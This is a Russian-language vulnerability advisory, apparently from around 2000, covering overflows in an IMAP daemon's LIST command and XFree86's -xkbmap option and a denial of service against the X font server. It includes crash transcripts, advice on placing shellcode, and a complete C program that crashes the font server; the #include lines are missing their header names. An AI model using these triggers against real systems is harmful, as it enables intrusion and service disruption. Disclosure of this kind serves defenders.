|
уязвимости IMAPD, XFREE86, XFONTSERVER
Team Void
Все описаные уязвимости были обнаружены Michalем Zalewski /lcamtuf@TPI.PL/
ПЕРЕПОЛНЕНИЕ БУФФЕРА В IMAP4rev1 v12.264
Данный почтовый демон, setuid mail, поставляемый с новейшей версией RedHat, подвержен переполнению буффера в аргументе LIST. Последовательность команд, приводящих к сбою сервиса и падением его с забмтым пользовательским вводом EIP такова:
* OK nimue IMAP4rev1 v12.264 server ready
1 login lcamtuf test
1 OK LOGIN completed
1 list "" AAAAAAAAAAAAAAAAAAAAAAAAAAA...
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
Сервис исполняется с привилегиями mail, но всё равно использование данного переполнения буффера - лёгкий и спокойный путь получения шелла на атакованном объекте и чтения конфигурационных файлов для планирования дальнейшего вторжения.
ПЕРЕПОЛНЕНИЕ БУФФЕРА В XFree86
XFree86 3.3.6 (и 4.0.0) - при работе данного X-сервера (не важно, суидный он или нет, или же вызван из суидного Xwrapper'a , входящего в дистрибутив RH 6.x)
При передаче данному приложению параметра -xkbmap, установленному в 2100 символов A, происходит.. ну, то, что происходит, мы проходили уже сотни раз - информация становится руководством к действию.. У gdb на этот счёт несколько другая точка зрения - процесс не может получить доступ к памяти по адресу 0x41414141, т.е. EIP забит буфером ввода.
Это было проверено на RH6.1/6.2 Xservers (3.3.5/3.3.6), и XFCom_i810 Version 1.0.0 / X Window System.
Весь шеллкод, идущий на переполнение (кстати, возникшее опять же из-за непроверенного вызова strcpy()), должен состоять из букв и цифр, так как спецсимволы могут быть заменены на '_'. Таким образом, код для исполнения лучше передать каким-либо другим способом, например через другой параметр.
DOS НА X FONTSERVER
Данное приложение не осуществляет проверку входных данных, и может быть выведено из строя несложной атакой, при которой функции strcpy() передаётся указатель на NULL:
#include
#include
#define CNT 50
#define FS "/tmp/.font-unix/fs-1"
int s,y;
struct sockaddr_un x;
char buf[CNT];
main() {
for (y;y<2;y++) {
s=socket(PF_UNIX,SOCK_STREAM,0);
x.sun_family=AF_UNIX;
strcpy(x.sun_path,FS);
if (connect(s,&x,sizeof(x))) { perror(FS); exit(1); }
if (!y) write(s,"lK",2);
memset(buf,'A',CNT);
write(s,buf,CNT);
shutdown(s,2);
close(s);
}
}
duke.
|